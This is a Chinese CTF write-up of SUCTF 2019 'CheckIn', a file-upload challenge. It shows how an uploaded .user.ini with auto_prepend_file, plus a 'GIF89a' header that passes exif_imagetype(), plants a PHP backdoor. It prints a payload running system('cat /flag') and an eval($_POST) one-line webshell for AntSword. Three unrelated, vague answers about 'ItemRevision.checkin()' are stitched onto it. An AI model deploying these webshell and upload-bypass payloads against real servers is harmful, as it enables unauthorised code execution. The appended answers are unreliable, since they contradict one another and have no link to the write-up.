[SUCTF 2019]CheckIn(user.ini文件构成的PHP后门)

0x01 知识点
参考文章:user.ini文件构成的PHP后门
1、
.user.ini是一个能被动态加载的ini文件,和php.ini不同的是,修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
Php配置项中有两个比较有意思的项(下图第一、四个):
在这里插入图片描述

auto_prepend_file:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数
auto_append_file:指定一个文件在文件后面包含。
使用方法很简单,直接写在.user.ini中:

 auto_prepend_file=01.gif

我们可以很容易地借助.user.ini文件来构造一个“后门”。
2、绕过exif_imagetype()
在文件的前面添加GIF89a
0x02题解
上传.user.ini让所有php文件都“自动”包含某个文件

GIF89a
auto_prepend_file=a.jpg

上传a.jpg

GIF89a
<script language='php'>system('cat /flag');</script>

(因为要求上传的文件中不能包含<?所以不能用一般的一句话木马)
当然也可以

GIF89a
<script language='php'>eval($_POST['a']);</script>

然后用蚁剑连接

### 回答1: ItemRevision.checkin() 是一个 Python 函数,它可能属于一个更大的程序或库。使用这个函数的具体方法取决于它的实现和上下文,您可以查看相关文档和代码以了解详情。 如果您有更具体的问题,请提供更多信息,以便我们能够更好地帮助您。 ### 回答2: ItemRevision.checkin()是一个方法,可以用于将物品的修订版本提交到版本控制系统中。下面是使用ItemRevision.checkin()的步骤: 1. 首先,确保你已经创建了一个物品修订版本对象。你可以使用相关的API(例如createItemRevision()方法)来创建一个修订版本对象。 2. 在创建修订版本对象后,你可以使用checkin()方法来提交修订版本。该方法接受一些参数来指定提交的行为。例如,你可以指定提交的注释信息,以便在日志中记录该修订版本的重要信息。 3. 在调用checkin()方法之前,你可以在修订版本对象上执行一些其他的操作,例如对物品进行一些修改或者添加附件。 4. 调用checkin()方法后,系统会将修订版本提交到版本控制系统中,并且生成一个唯一的修订版本号。 5. 你可以根据需要进一步处理该修订版本,例如你可以将其关联到其他相关的物品或者任务中。 注意事项: - 在使用checkin()方法之前,确保已经进行了合适的权限控制和安全验证,以确保只有授权的用户可以提交修订版本。 - 在提交修订版本之前,建议对修订版本对象和相关的物品进行一次完整的测试和验证,确保没有错误或者遗漏。 - 可以使用相关的API来查询和检索已经提交的修订版本的信息,例如getRevision()方法。 总结: 使用ItemRevision.checkin()方法可以方便地将物品的修订版本提交到版本控制系统中,同时也提供了一些参数和步骤来定制提交行为。根据实际需求,你可以在提交之前进行其他的操作,并且可以进一步处理提交后的修订版本。 ### 回答3: ItemRevision.checkin()是一种方法,用于在软件开发过程中将更新的版本或修改的文件添加到版本控制系统中。该方法通常用于团队协作开发或版本追踪。 在使用ItemRevision.checkin()之前,首先需要使用版本控制系统创建一个项目。然后,在本地计算机上克隆或检出该项目的副本。接下来,对项目进行修改或添加新文件。 当完成对项目的修改后,可以使用ItemRevision.checkin()方法将文件或更新的版本提交至版本控制系统。这个方法会向版本控制系统提供提交的文件或版本的信息,例如作者、提交时间、注释等。提交后的文件将成为项目的新版本并保存在版本控制系统中。 使用ItemRevision.checkin()方法的一般步骤如下: 1. 执行ItemRevision.checkin()方法之前,确保项目的所有修改都已保存和提交,并且已经进行了必要的测试和验证。 2. 调用ItemRevision.checkin()方法,并传入需要提交的文件或版本的相关信息,例如作者、提交时间和注释等。 3. 版本控制系统将保存提交的文件或版本,并为其生成一个独特的版本号或标识符。 4. 可以使用版本控制系统的其他功能,如查看提交历史、比较版本、回滚到先前版本等。 总的来说,ItemRevision.checkin()方法是将更新的文件或修改的版本添加到版本控制系统的一种操作。它有助于团队协作开发,追踪文件的修改历史,并保持项目的版本控制和管理。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值